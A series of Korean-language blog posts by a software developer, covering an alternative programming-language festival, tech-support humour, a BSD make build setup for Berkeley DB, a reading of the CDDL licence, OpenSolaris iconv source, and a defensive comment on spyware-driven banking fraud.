(그런데, LLDN 블로그 소프트웨어가 OpenLook과 같은 coreblog라서 매우 반갑습니다. 크크 _-_)

사진 중 일부는 박영창씨가 촬영한 것입니다.

2달 전쯤에 블로그에 그냥 버스타고 왔다갔다 하던 꿈을 올렸던 "기민한 언어의 날" 행사가 드디어 현실이 되었습니다. "대안언어축제"라는 이름으로 8월 20일,21일 양일간 강원도 홍천에 있는 대명비발디파크에서 열렸습니다. "뭔가 하긴 했구나!" 생각이 들어서 참 다행입니다. :)

기획/준비 단계

대안언어축제의 첫준비는 6월 23일 강남역에서 있었습니다. 당시에 관심을 보여주신 10분이 모여서 행사의 이름을 정하고, 어떤 형식의 행사가 될지, 내용은 어떤 것을 다룰지, 목적은 어떤 것인지, 행사날짜 등을 정했습니다. (놀랍게도 첫번째 모임에서 날짜가 확정이 되어버렸지요!)

그 이후로는 초기의 "통사" 그룹 분들이 다들 바쁘신데다, 리더격을 정하지 않다보니 제대로 굴러가지 않아서 몇번 만남이 띄엄띄엄 있었습니다. 그래서 결국은 7월말까지 거의 결정된 것 없이 시간이 지나가게 되었는데, 그때 자원봉사자들을 뽑기 시작하면서 자봉분들의 활발한 준비로 장소와 준비물 등이 진행되기 시작하였습니다. 그러나 장소는 여러가지 문제때문에 행사 11일 전에서야 결정이 되었고, 아무래도 이런 형식의 행사가 처음이다보니 시간이 많이 걸려서 행사 직전까지 자봉들은 거의 매일 회의를 해야 할 정도로 바쁘게 준비되었습니다.

행사 전날 선발대 활동

행사 전날인 8월 19일에 미리 가서 행사 준비를 하는 선발대A팀과 진흥원지원부분인 간식과 문구류를 사서 가는 선발대B팀이 출발했습니다. 자봉, 통사, 발표자와 진흥원에서 지원해주시는 이재경씨를 합해서 모두 12명이었습니다.

비발디파크에 도착해보니 참 바깥 경관이 좋아서, 뭔가 컨퍼런스만 하고 있기에는 아깝다는 생각이 좀 들더군요. 크.. 하여간, 얼른 준비 숙소가 있던 오크동 8층에 짐을 풀고, 준비를 시작했습니다. 불과 하루밖에 남지 않았는데 준비가 안 된 것이 많아서 여러모로 불안했는데, 작은 인덱스 카드에 작업을 나눠서 하다보니 사람이 많아서 생각보다 금방금방 끝나더군요. :)

저녁엔 본 행사장인 에메럴드룸으로 옮겨서 다음날 개회식에서 쓸 대안언어 도미노를 만들었습니다. 많은 분들이 여러개의 언어로 열심히 만드셔서, 저는 그냥 awk만 만들었습니다. 너무 짧아서 뻘쭘;; _-_

행사 첫날 13:40 - 개회식

드디어 행사 첫날이 되었고, 막판 개회식 준비로 다들 여념이 없었습니다. 역시 바쁘면 안 되는게 많아서.. 도미노는 제대로 안 굴러가는데 막 서울에서는 차가 하나도 안 막혀서 30분 일찍 도착한다고 하니 참 애가 타더군요. 므흐..

막상 주자분들은 일찍 오시는데, 네트워크 설치하는 업체에서는 팔당댐에서 차가 막혀서 3시간째 못오고 있다고 하고.. 그런데 세션이 있는 작은 방들에서는 네트워크 필요한 세션들이 다들 첫번째 세션으로 잡혀있고.. 거의 패닉 상태에 갈 무렵, 30분 정도 지체가 돼서 네트워크 업체가 드디어 도착해서 세팅을 하고 간신히 시작을 했습니다. 원래 주자분들을 도착하자마자 숙소로 안내할 예정이었지만 그마저도 비발디파크측에서 이전 체크아웃 시간이 늦어서 3시는 돼야 들어갈 수 있다고 그러고.. 행사 초기에는 일정 변경이 굉장히 심각했지만, 그래도 별 탈없이 지나갔습니다. ^^;

행사 첫날 15:00 - 첫 번째 멀티트랙 세션

제가 맡은 발표세션인 "동적 네임스페이스"는 별로 이름부터 크게 재미있어 보이지 않는 주제로, 아무래도 썰렁하지 않을까 생각하고 조마조마 세팅을 마치고 기다리고 있었습니다. 흐흐. 처음에 딱 2분이 들어오시고 한 5분동안 썰렁~해서 으하하하 웃으며 있었는데, 알고보니 일정이 쭉 밀려서 늦게 시작한다고 하더군요. 흐흐 그래서 작은 방이 꽉 차게 많은 분들이 오셔서 조금 부담이 되었습니다. ^^; 그런데, 준비를 크게 많이 못해서 그런지 참 설명이 여러모로 꼬여서 고생을 많이 했습니다. 전에도 몇번 리허설을 꼭 해야지 생각을 했는데 이번에도 리허설 안하고 그냥 했다가 낭패를 --;

다행히도 이번 축제에서는 발표 세션에서 발표의 비중을 크게 줄이고 대부분을 페어 실습으로 하는 방향으로 미리 발표자 논의에서 정해두었기 때문에 끝 30분정도를 그냥 실습으로 슬쩍.. 흐흐.. 주자분들이 생각했던 것보다 훨씬 파이썬을 많이 하고 계시고, 파이썬을 안 하는 분들도 쉽게 적응하시는 것 같아서 무척 즐거웠습니다. :)

행사 첫날 16:30 - 두 번째 멀티트랙 세션

그 다음에는 두 번째 멀티트랙 세션으로 Ajax와 Esoteric Langauge를 했습니다. 저는 퍼즐릿님이 진행하신 Esoteric쪽에 참가를 했는데, 처음으로 한글로 하는 난해한 프로그래밍 언어 "아희"로 프로그램을 하느라 아주 쏙 빠져서 한참을 "밯맣희"이런 코드를 입으로도 읽고 손으로도 치고 하면서 즐거워했습니다. 거의 20명 넘는 분들이 다같이 "아희"코드를 짜면서 으아아아~~ 하고 있는 것을 옆에서 보고 있으려니 정말 재미있었습니다.;;

행사 첫날 20:00 - 코드레이스/코드챌린지/마인드스톰

저녁을 먹고 멀티트랙 놀이시간에 들어갔습니다. 코드레이스는 통사들이 해설과 진행을 맡고 4~5명으로 구성된 팀들이 계속 추가되는 요구조건을 만족시켜가며 순간 순간 점수를 받아서 최종적으로 점수를 많이 받는 팀이 이기는 게임이었습니다. 중간에 요구사항 변경을 팀들이 직접 발표할 수도 있고, 자기의 요구사항 변경을 10분안에 구현하지 못하는 경우의 감점 같은 여러가지 점수 제도 때문에 참가하는 팀이 재미있게 할 수 있었습니다. 또한, 스타리그 중계처럼 앞에 3명이 앉아서 각 팀의 순간순간 전황을 해설하며 얘기를 하고 있는 것도 재미있고, 앞으로도 많이 발전할 수 있는 게임이 확실합니다. :) 그런데, 아무래도 코드레이스를 좁은 방에서 참가자들만 있는 채로 해버려서 관중이 없어서 해설해도 공중에 하는 것이다보니 별로 말을 못해서 약간 그렇더군요. 크흐.

옆 방에서는 코드 챌린지와 마인드스톰을 했다고 합니다. 가 보지는 않아서 잘 모르겠지만.. ^^; 코드 챌린지는 여러 정보경시대회 스타일의 문제를 힌트로 해서 숨은 URL 찾기를 하는 놀이인데, 나중에 참가자들의 말을 전해 들으니, 재미있게 진행된 것 같았습니다. :) 상품도 좋고~ 마인드스톰에서는 원래 뭔가 만들기를 하려고 했는데, 자봉/통사 중에서도 아무도 마인드스톰을 해 본 사람도 없는데다가, CD를 빼먹고 오는 바람에 결국은 레고놀이로 했다고 합니다 흐흐;;

행사 첫날 22:00 - 양과 치타또는 늑대 놀이

밤 시간에 원래 하려고 했던 장기자랑이 아무래도 분위기를 식힐 것 같다는 판단에, 대신 치타와 양 (몇몇 팀은 늑대와 양) 놀이를 했습니다. "땀 안 흘리는 야외 놀이"를 할 예정입니다. 라는 말에 주자분들은 얼떨결에 밤에 밖에 맨손으로 나가셔서 어리둥절했지만, 규칙을 설명해 드리고 게임을 하고 있으니 막 재미있다고 계속 하자는 분도 계시고.. :) 프로그래머들 아니면 누가 이런 게임을 할까 싶지만 프로그래머들에게는 정말 재미있는 게임이었습니다!

행사 첫날 23:15 - OST (Open Space Technology)

첫날의 마지막으로 OST 시간을 가졌습니다. OST는 1200명까지 토론을 할 수 있는 집단 토론 기술로, 벌과 꽃의 메카니즘 같은 재미있는 것을 수용한 재미있는 방법이라고 합니다. :) 우선 발제자들 몇 명이 나와서 어느 자리에서 뭘 토론합니다. 하고 화이트보드에 적고 가면, 사람들이 자기가 토론하고 싶은 곳으로 가서 토론을 하다가 아무때나 다른 곳에 가고 싶을 때 여기저기 왔다갔다 하면서 토론을 하는데, 중간에도 계속 화이트보드에 새로운 주제를 낼 수 있기 때문에, 짧은 시간 안에 많은 사람들이 다양한 주제로 토론을 할 수 있습니다. 결국은 프로그래밍 언어와 기호학 , 대안언어 회사에서 쓸 수 있나 같은 주제 외에도 커피에 대한 모든 것, 한국 개발자들의 노동 조건 같은 주제까지도 재미있게 이뤄졌습니다. :)

행사 두째날 10:30 - 세번째 멀티트랙 세션

두째날 아침에는 세번째 멀티트랙 세션으로 김창준님의 EDSL, 승범이의 Squeak이 있었습니다. 저는 DSL(Domain Specific Langauge)가 적용이 가능한 부분에 요새 관심이 많은 터라 EDSL에 참가하였는데, Squeak도 옆에서 들려오는 승범이의 낭랑한 목소리에 아아 아쉽다 아쉽다 하면서 있었습니다. :)

EDSL 세션에서는 기존 언어 문법을 거의 그대로 활용하면서도 DSL의 장점을 그대로 쓸 수 있는 방법을 배웠습니다. 실습시간에는 저는 C 선행처리자를 이용한 EDSL을 해 봤는데, CJKCodecs의 ISO2022 코덱이나 multibytecodec 구현에서도 C 선행처리자로 이것저것 지저분하게 많이 해 뒀는데, EDSL 개념을 알고 구현했으면 좀 더 보기 좋은 코드가 나왔을 것 같은 생각이 들더군요~

행사 두째날 12:00 - 폐회식

폐회식도 뭔가 대안적인 방법을 찾아보다가, 자봉단이 장시간 보리차를 마시면서 토의한 결과, 회고를 전지를 놓고 마음껏 그리고 쓰는 것으로 했습니다. 우선 테이블에 앉은 사람들이 글자로 좋았던 점과 개선되었으면 하는 점을 쓴 다음에, 다른 전지를 하나 받아서 크레파스로 말을 전혀 하지 않고 문자도 안 쓰고 그림만 가지고, 느꼈던 점과 다음 행사에 바라는 점 같은 것을 쓰는 것으로 했습니다. 그런데, 그림이 아주 기상천외한 것이 많아서, 다른 테이블 사람은 커녕 옆사람이 봐도 못알아보는 것이 많아서.. 무지 재미있었습니다. 크흐~

행사 두째날 12:30 - 점심식사, 기념촬영

토요일 점심부터 일요일 점심까지 모두 4끼를 먹은 곳은 메이플동 지하의 오리엔탈 익스프레스라는 곳이었습니다. 여기가 제법 비싸기는 하지만, 보통 게를 안 넣는 음식에다가 게를 계속 넣어줘서 인상이 깊었습니다. -ㅇ-; 마지막 점심에는 장어덮밥! 꺅~~;

되돌아보며

이번 행사는 국내에서는 전례가 없던 실험적인 포맷으로 가득 채운 행사이니 만큼 성공할 수 있을지에 대해서 무척 기대가 많았습니다. 특히, 계속 일정이 지연되면서 정작 추진은 안 하면서도 조바심나고 그랬었는데, 여러 자봉분들과 김창준님, 승범군의 헌신적인 준비로 얼마되지 않은 시간동안 큰 일을 이뤄낸 것 같아서 무척 기쁩니다.

코드레이스, 치타와 양 같이 이번에 특히 재미있었던 새로운 형식들은 앞으로 좀 더 재미있게 할 수 있을 것 같다는 확신이 들었고, 일반 세션들도 페어 실습의 비율을 계속 높이는 것으로 하품나는 지루한 발표에서 탈출할 수 있다는 것도 느꼈습니다.

로제타 카드를 이용한 활동이라던지 사람들끼리의 활동을 촉진하는 활동이 뒤에 나오기 시작해서, 앞에서 활발하게 활동하기가 힘든 분위기 였다는 점은 다음에 개선하면 좀 더 흥분되는 행사가 될 것 같습니다.

이번 축제 준비로 정말 수많은 시간과 노력을 한 통사, 자봉 여러분 정말 진심으로 감사하고 있습니다. 그리고, 주자 여러분들도 지금까지 가 본 어떤 행사보다도 열린 마음으로 능동적으로 참여해 주셔서 준비가 미흡했음에도 불구하고 축제가 성공할 수 있었던 점 한동안 잊지 못할 것 같습니다. :)

또한 참가비만으로는 도저히 꾸릴 수 없는 행사였기에, 재정적으로 대부분을 지원해 주셨던 한국소프트웨어진흥원과 진행에 많은 도움을 주신 이재경씨께도 참 고맙게 생각합니다. 다음에도 많은 지원 부탁드립니다.;; _-_

IRC나 메신저나 회사나 여러군데서 컴퓨터를 할 줄 안다는 이유로 워드 질문, 윈도우 세팅 질문, 인터넷이 왜 안되느냐 질문, 메일이 왜 도착 안 하느냐 질문, 다음넷에 왜 로그인이 안 되느냐 질문 등.. 별의 별 질문을 다 받습니다. "내가 만든 것 아니라 몰라요" 라고 대답할 수도 없고.. -_-;;

하여간.. 그래서 지금까지 했던 답변 중 시스템과 관련된 질문 대부분을 커버할 수 있는 일반해를 하나 고안하였습니다. 시스템 질문 중의 한 80% 정도는 이 일반해 공식으로 해결이 될 것 같군요.. :) 물론 워드질문이나 웹사이트 왜 안되느냐 하는 질문에 대한 일반해는 너무 어려워서 아직 만들지 못했습니다. --;;

• A: XXX가 안 돼요.
  B: XXX가 어떻게 안 되나요?
• A: 잘 모르겠어요. 그냥 XXX가 안 돼요.
  B: 에러 메시지 없나요?
• A: 안 보여요 하여간 안 돼요.
  B: 로그에 뭐 안 남나요?
• A: YYY라고 나와 있어요. (YYY는 단정적인 최종 에러 메시지)
  B: 그 위에는 뭔가 없나요?
• A: ZZZ라고 나와 있어요. (ZZZ는 에러의 이유 또는 상황)
  B: ZZZ를 따옴표로 감싸서 구글에 쳐 보세요.
• A: 뭔가 나오긴 하는데 읽기 귀찮아요. 하여간 고쳐줘요.
  B: 첫번째 것에 마우스를 가져간 다음에 왼쪽 버튼을 클릭해 보세요.
• A: 뭔가 나오긴 하는데 읽기 귀찮아요. 하여간 고쳐줘요.
  B: 그 밑에 써 있는 명령 (또는 환경설정 예시)을 따라 쳐 보세요.
• A: 오.. 뭔가 되는 것 같긴 한데 그래도 안 돼요.
  B: 그냥 무작정 붙여넣지 말고, 자기 설정에 맞게 바꿔서 쳐보세요.
• A: 오.. 뭔가 되긴 되네요. 감사합니다. B씨는 역시 천재예요. 다음에도 또 물어볼께요.
  B: 다음부터는 저한테 물어보지 말고 구글한테 물어보세요.
• A: 몰라요 구글 싫어요.
  B: -_-...

몰라요 구글 싫어요. 라는 말을 들었을 때, 대상별 반응..

• 자주보는 친구가 "구글 싫어요" 했을 때 => 다음에 밥 사달라고 한다.
• 띄엄띄엄보는 친구가 "구글 싫어요" 했을 때 => 다음에 내가 부탁할 것이 있는 일도 있겠지 하면서 분을 삭인다;;
• 친한 친구가 컴퓨터 잘 아는 사람이라고 자기가 아는 사람을 소개시켜 줬다 => 친구한테 내가 낯가림이 많다고 얘기한다.
• 모르는 사람이 "구글 싫어요" 했을 때 => 모르는 사람이라 다행이라고 생각하고 참는다 -.-;
• 후배가 "구글 싫어요" 했을 때 => 아직 세상을 잘 모르는구나 생각하고 구글쓰는 법을 가르쳐 준다.
• 선배가 "구글 싫어요" 했을 때 => 큰일이다. 앞으로 무슨 일이 있을 것 같으면 막 밥먹으러 가려던 참이라고 한다.
• 부모님이 "구글 싫어요" 했을 때 => 가족애를 생각하고 세대차이를 생각하면 그래도 계속 열심히 가르쳐 드려야겠다는 생각이 든다.
• 여자친구가 "구글싫어 으아앙T-T 웩" 했을 때 => 귀엽다. 안아준다.

으흐흐~ 요새 불여우 플러그인인 All in One Gesture를 써 보면서 음청나게 좋구나! 하고 막 감동하고 쓰고 있었습니다. 물론 프비에서는 gtk2의 영향으로 뼈저리게 느리게 드륵드륵 거리지만;;;

제가 할 줄 아는 GUI 툴킷이 윈도우밖에 없다보니까, 윈도우에서 이런 것 있으면 무척 편리하겠다 하고 생각해 봤는데, 역시나 검색을 해 보니 벌써 굉장한 것이 있군요;; StrokeIt이라고 하는 것인데 꽤 오랫동안 관리된 프로그램이고 최근까지도 업데이트가 활발히 되고 있습니다. 물론 가볍고 커스터마이즈도 무척 잘 되어있네요. 게다가 이벤트를 직접 프로그램해서 넣을 수 있게 SDK까지 제공하고.. 긱스럽기가 아주 X용 오픈소스 프로그램들 수준이군요.. (라이선스는 비상업적 목적에 한해 바이너리 사용 가능이고, 소스는 공개되어 있지 않습니다.)

흐흐.. 그런데, 상당히 많은 언어로 번역이 되어 있는데 한국어 번역이 없길래 그냥 한번 번역해 보았습니다.

번역 파일 다운로드

흐흐 저자에게 보내줬으니 곧 공식 사이트에서도 받을 수 있겠지용 'ㅇ'

오늘자 시사 매거진 2580에서는 얼마 전에 있었던, 스파이웨어를 통한 비밀번호 추출로 남의 계좌를 이체해버린 사건을 문제 삼아서, 국내 전자상거래/은행 보안의 문제점을 조명했습니다. 중간에 phpBB도 나오고 한텀도 나오고, 주변에서 보인 재미있는 것들이 많이 나오네요. :)

그렇지만, 데이터 전송 경로를 하드웨어에서 어디서 어디로 전송한다고 그림을 보여주거나 막 신비롭게 껌껌한데서 불꺼놓고 로그 보고 있다거나.. 뻔한 해커 영화의 시각이나 똑같이 표현을 했는데.. 정말 볼 때마다 새로워요. -_-;; 나도 불 끄고 코딩할까? -O-;

그런데, 여전히 2580에서는 마치 패스워드 보안은 정상적인 상황에서도 마구 남의 것을 볼 수 있고, 스파이웨어가 설치된 후에도 은행 솔루션 업체들이 어떻게 잘 노력을 하면 막을 수 있는데도 안 막고 있는 냥 얘기를 하고 있습니다. 그렇지만, 사실상 대부분의 윈도우 사용자가 커널레벨까지 조작을 할 수 있는 관리자 권한으로 사용한다는 점을 고려하면, 은행 프로그램들이 무슨 발악을 하더라도 소프트웨어적으로는 패스워드가 노출되지 않을 수가 없는 당연한 상황이라, 역사적으로 보더라도 항상 공격자가 이기는데 뭐 어떻게 막을 방법이 있겠어요? 흐흐..

결국, 이런 상황을 해결하려면, 외부 하드웨어의 도움을 빌거나, 역순해시를 사용한 일회용 패스워드를 사용해야 한다는 결론에 도달합니다. 즉, USB로 연결된 외부 카드 리더에서, 카드의 인증서를 읽어서 컴퓨터 측에서 요청한 자료를 싸인한 뒤에 결과 패킷을 보내준다던지.. 일회용 패스워드를 100개 은행에서 발급해 와서, 그걸 순서대로 하나씩 사용한다던지.. 흐흐.. 하여간, 얼른 소프트웨어적으로도 뭔가 해결할 수 있다는 환상을 버리고, 사회적인 방법이나 외부 하드웨어 장치의 도움을 법적으로 모든 금융/전자상거래에 의무화를 한다고 주장합니다! 물론, 스펙은 공개해서 독립적 구현도 충분히 진입할 수 있게.. :)

제가 다니고 있는 회사에서는 조엘식 분류에서 "사내 소프트웨어"에 들어가는, 중규모 솔루션을 주로 만듭니다. 고객사에서 원하는 대로 플랫폼도 바뀌고, 소스 1줄을 수정하려고 해도 고객사에 작업내역서를 보내고 승인받은 뒤에 직접 들어가서 작업을 해야하는데다가 일요일 새벽에만 작업이 가능한 곳도 있고, 문제가 생기면 손해배상도 들어오고 그러다보니, 아무래도 디펜던시가 우찌됐건간에 시스템 기본 라이브러리를 빼고는 모두 직접 옵션 조절해서 컴파일한 것을 깔게 됩니다. 리눅스에서만 돌던 소프트웨어를 갑자기 AIX에서 돌려보자고 하루 전에 연락이 오기도 하고 -_-; 하여간~ 흐흐

그냥 빌드해 놓고 그냥 tar을 들고 댕기던 시절에는, 빌드도 다 손으로 해야하다보니, 밤마다 자동빌드는 커녕, 업그레이드 한번 하려고 해도, 수시간씩 걸리고, 새 플랫폼이 나와도 포팅하는데 하루종일 별의 별 삽질을 다 하게 됩니다. 그래서, 상태를 좀 개선해 보고자 새로 하는 프로젝트에서는, POSIX 플랫폼이면 무난하게 돌아가는 형태의 빌드를 구성해 봤습니다. 흐흐흐.

처음엔 GNU make 기반의 makefile 문법으로 하려고 했었는데, GNU make에서는 for루프와, target 함수 같은 것을 제공하지 않아서, 아무래도 m4같은 것의 도움 없이는 10개 이상의 디펜던시가 있는 패키지를 모두 한꺼번에 빌드하는 게 꽤 힘들었습니다. 그래서 결국은 NetBSD pkgsrc에서 BSD make를 가져다가 자동 빌드하고 그걸로 프로젝트를 빌드하는 방식으로 바꿨는데.. 이러쿵 저러쿵 만들다 보니까 결국은 포트같이 돼 버렸습니다. 그러니까.. 으흐흐. 예를 들면 이렇게~

# Berkeley DB build
# $Id: dep.bsddb.mk 864 2005-06-17 07:22:34Z perky $

NAME=           bsddb
FANCYNAME=      BerkeleyDB
VERSION=        4.3.28
SITE=           http://downloads.sleepycat.com/
DISTFILE=       db-${VERSION}.tar.gz
SRCDIR=         ${WRKDIR}/db-${VERSION}/build_unix

CONFIGURE_SCRIPT=../dist/configure
CONFIGURE_ARGS= \
        --prefix=${PREFIX} \
        --disable-cxx \
        --disable-debug \
        --disable-java --disable-mingw \
        --disable-tcl --enable-static \
        --disable-shared

NO_INSTALL=     yes

.include "submodule.mk"

요걸로 프로젝트를 매일 밤과 점심시간에 자동으로 빌드해서 에러가 나면 메일로 알려주도록 세팅해 두었습니다. 이제 기능을 좀 추가해서, 바이너리 인스톨러 스냅샷 만드는 것과 인스톨 스크립트로 자동으로 인스톨해서 유닛테스트 돌리는 것도 해보려고 합니당. 지금까지 만든 것은 여기에 올려 두었습니다. 디펜던시도 많고 플랫폼도 많은 내부 프로젝트 관리하는 분은 써 보세요. :)

주의: 이 글은 개인적인 해석이며 법적인 정확성을 보증하지 않습니다. 구체적인 저작권, 특허, 상표권에 대한 문제는 원문을 참조하세요.

어제 공개된 OpenSolaris 소스를 보다 보니, 생각보다 재미있고 뜯어 쓸만한 부분이 꽤 많이 있었습니다. :) 그래서, 이제 열심히 갖다가 썼는데 뒷통수 맞는 일이 없도록 라이선스인 CDDL (Common Development and Distribution License)을 자세히 읽어보았습니다.

CDDL은 우선 전체적으로 GPL같이 아주 딱딱하게 조절된 무서운 어조로 써 있지 않고, 그냥 통상적이고 상식적인 수준의 문장으로 되어 있어서 읽기가 편하다는 면에서는 좋군요. 분량도 애플 것에 비해서 짧고.. :) 우선, 첫 부분의 용어 정의 부분에서는 대부분 상식적인 용어와 비슷한데, 몇가지 다른 것이 있다면 이 정도가..

• "Executable": 소프트웨어에서 소스를 제외한 모든 파일
• "Larger Work": CDDL하에 있는 작업외에 다른 라이선스로 된 큰 작업을 조합한 작업

CDDL에서는 독특하게 최초 개발자(Initial Developer)와 기여자(Contributor)를 명시적으로 구분해서 권한을 따로 정의하고 있는데, 재라이선싱 권한 외에는 크게 다른 점은 없어보이는군요. 그리고, 다른 라이선스들 (특히 GPL)에서는 특허와 관련된 말들은 최대한 언급을 삼가하고 있는데, CDDL에서는 라이선스 하에 있는 소스를 작성한 모든 기여자들과 최초 개발자들 사이의 특허 문제까지도 명확하게 정의해서, 모호함을 없앴다는 점은 장점으로 꼽힐 수도 있겠습니다.

우선, BSDL과 GPL, Artistic License같은 오픈소스 라이선스 분파들을 서로 비교할 때 사용되는 여러가지 일반적인 특징은 배포, 수정, 판매 등의 다른 조건들은 비슷하지만 라이선스를 동의하는 조건이 조금씩 다른데, CDDL에서는 이런 조건들을 걸고 있습니다.

• 소스코드 같이 배포: "Executable" 상태 (즉, 소스 코드가 아닌 모든 포맷)로 배포를 할 때에는 항상 소스 코드를 CDDL하에 배포를 해야 한다는 강제 조건이 있습니다. 즉, 이 부분에 대해서는 GPL과 여러모로 유사한 면이 있다고 볼 수 있습니다.
• 변경: 원래 CDDL하에 있는 소스를 변경한 부분에 대해서는 모두 CDDL의 영향 하에 가도록 되어 있으며, 변경자는 그 작업 부분이 자기 고유 작업임을 밝혀야합니다.
• 변경 고지: CDDL하에 있는 소스를 변경한 사람은 반드시 자기가 변경했다고 기여자 목록에 표시를 해야합니다. 기존의 다른 오픈소스 라이선스들은 이 부분에 대해서, 반드시 고지해야된다는 얘기는 따로 안 써있는 것들이 대부분이었는데, 원래 소스에서 변경된 것을 원 저자가 만든 것처럼 표시되는 것을 막기 위해서 넣은 부분인 듯 합니다.
• 추가적인 사항: 다른 오픈소스 라이선스들은 호환되는 것들에 대해서는 추가적으로 다른 라이선스를 적용할 수도 있게 되어있는데 CDDL에서도 품질보증이나 추가 제공같은 것들을 추가로 넣을 수는 있지만 이것들이 원래 CDDL에서 보장되는 것들을 해쳐서는 안 되며, 원저자와 원기여자들이 품질보증이나 추가 제공에 전혀 관련이 없다는 것을 명시적으로 표시해야합니다.
• 바이너리 배포: 소스코드가 아닌 형태로 배포하는 경우 CDDL이 아닌 완전히 새로운 라이선스로 배포도 가능합니다. 즉, xchat처럼 소스는 GPL이고, 바이너리만 상용이고 이런 것도 충분히 가능하다는 얘기겠죠. 단, 이 경우에도 라이선스를 받은 사람은 소스를 요구해서 CDDL하의 소스를 받을 수 있습니다. :)
• "Larger Work": 다른 큰 소프트웨어와 섞이는 경우, 예를 들면 openssl과 apr을 이용해서 mod_ssl같은 게 나오는 것 같은 경우가 되겠죠. 이런 경우 섞임으로 인해서 최종 생산물이 CDDL을 침해해서는 안 된다는 확인이 있어야 합니다.

그리고, 예전에 애플에서 한번 시도해서 문제가 되었던, 라이선스 개정시 조건도 같이 업그레이드라는 그런 것은 좀 더 자유롭게 되어서, 썬에서 라이선스를 개정하더라도, 처음 소프트웨어를 받을 당시의 CDDL 버전을 쓸 수 있습니다.

재배포를 하는 경우 반드시 소스코드를 배포해야 한다는 점에서, BSD에서는 /usr/src/gnu/ 디렉토리에나 들어갈 만한 라이선스라 좀 섭섭하기는 하네요. 으흐흐. 그래도 뭐 썬도 먹고 살아야~ -O-

그동안 거의 베이퍼웨어 수준으로 뜸을 들이고 있던 OpenSolaris가 드디어 소스를 공개했군요. 타이틀 화면의 "열린"이 아주 멋있습니다. :)

bz2로 압축해서 44메가 정도되는 솔라리스 소스 중에서 가장 기대하고 있던 부분인 iconv소스를 얼른 쳐다 봤습니다. :) 솔라리스의 iconv는 다른 iconv와는 달리, 변환 루틴부분을 위한 별도의 언어를 정의한 뒤에, 그 소스를 C로 컴파일하는 구조로 되어있어서 확장에 매우 유리하게 되어있는데, 현재 아주 구리구리한 구조로 되어있는 FreeBSD iconv를 고치는데 이런 방향으로 해 보면 도움이 될 것 같습니다. 소스를 뒤져보니까 usr/src/cmd/geniconvtbl/ 안에 메타언어 컴파일러가 들어있고, libc 소스 안에 iconv가 들어있는 간단한 구조로 되어있는데, 소스 구성이나 레이아웃 등이 BSD와 크게 다르지 않은 편이라 앞으로 좋은 장난감이 될 것 같군요.

iconv외에도 gettext나 멀티바이트 API 같은 FreeBSD가 약한 부분들 뜯어다 쓰기에 요긴할 것 같은데.. 라이선스가 FreeBSD에서 섞일 수 있는 것으로 판단이 될지 좀 두고 봐야겠네요..

일본에서 여러 해 이어오고 있는 LightWeight Languages Weekend를 보면서, 우리나라도 따로따로 하면 썰렁한 언어들을 묶어서 뭔가 시너지가 날 수 있는 것 해 보면 좋겠다! 하고 생각해 오고 있었습니다. 요새 다른 분들도 가끔 그런 것 있으면 좋겠다 말씀도 하시고, 한국소프트웨어진흥원에서도 일정 수준 지원이 가능하다고 의견을 주셔서 슬슬 준비해볼까 하고 버스에서 곰곰히 생각해 보고 있습니다. :)

아무래도, 한국에서는 PHP의 시장 점유가 엄청나게 높은 편이니, LightWeight 언어라고 하더라도 PHP는 규모가 맞지 않아 포함하지 않는 것이 좋을 것같고, 멋진 친구 승범군이 운영하는 Squeak모임도 생각나고 해서, LightWeight보다는 기민한 언어(Agile Language)로 하면 어떨까 하고 생각이 났습니다. 흐흐 그래서, 대략 Python, Perl6/Parrot, Ruby가 기간이 되고, Squeak이나 Lua, Groovy 같은 약간 다른 성격의 언어들도 가능하다면 포함이 될 수 있으면 좋을 것 같습니다.

일단, 여러 언어가 모여서 행사를 하는 것이 시너지를 내기 위해서는, 일부 언어는 알고 있지만, 아직 자세히는 모르는 다른 언어들의 특징을 느껴볼 수 있도록 주제가 너무 특정 기술에 치우치거나 기초 문법에 치중한 것은 안 될것 같다는 생각이 듭니다. 그리고, 서로의 의견을 자유롭게 교환할 수 있도록 분야별 BoF 세션 (예를 들면, TwistedWeb/Nevow와 Ruby on Rails등을 주제로한 WWW BoF나, 각 언어 간의 메타클래스 특성을 활용 아이디어들을 교환하는 세션같은..)도 공식적으로 시간을 잡거나 PyCon에서 하는 것처럼 아무데나 복도에 퍼질러 앉아서 시간 가는 줄 모르고 토론하는 것도 좋을 것 같구요. :)

파이썬마을의 순식간에 뚝딱하는 세미나들하고는 좀 다르게 미리 스티어링 그룹도 구성을 하고, 각 세션들에 대해서는 Call for Paper를 통해 공개적으로 발표하실 분을 모집해서 알차게 꾸몄으면 하는 생각이 있습니다. 아직은 그냥 저 혼자 출퇴근길에 버스에서 생각하는 아이디어에 불과한데, 앞으로 다른 여러분들께 연락을 드려서 진행을 해봐야겠습니다~

구글이 Summer of Code의 개최를 공식 발표하였습니다. PSF에서 내부적으로 얘기는 지난 주부터 있었는데, 대체로 다들 반기는 분위기 속에 잘 되어서, PSF가 지원 기관의 제일 첫번째로 올라갔군요. ^_^ (1주일동안 다른 데 소문 안 내느라 입이 어찌나 근질근질했는지 =3)

Summer of Code에서는 여름 동안에 학생들이 오픈소스에 기여도 하고 자기 능력도 계발하고 하는 의미에서 구글에서 오픈소스 기여를 지원해 주는 행사입니다. 그동안 다른 데서 있었던 Grants와는 달리 Python, Perl, Mono, Apache, Ubuntu, GNOME 등 기존의 대형 오픈소스 프로젝트 기관들이 심사와 멘터링을 맡고, 각 학생 프로젝트당 $4500, 기관에 $500를 지원하게 됩니다. 이렇게 총 200개 정도의 프로젝트를 지원하는데, 이번 기회에 학생들은 괜히 소모적인 알바로 힘만 빼고 뻘짓하는 것을 피할 수 있고, 오픈소스 프로젝트들은 열의 있는 참가자들이 할 수 있는 여러 노력형 작업들을 성취해 낼 수 있을 것 같아서 아주 결과가 기대 됩니다.

한국에서도 많은 학생들이 참가해서, 한몫도 잡고 이름도 날리고 하면 좋겠군요. (450만원!) 크크 :)

회사에서 워크샵을 가면서, 상황 극복을 위한 발전 방향이나 내부의 커뮤니케이션 문제같은 여러가지 것들을 토론했습니다. 지난번 워크샵까지는 그냥 먹고 놀았는데, 이번엔 진지한 토론도 하고 역시 많이 발전을.. :)

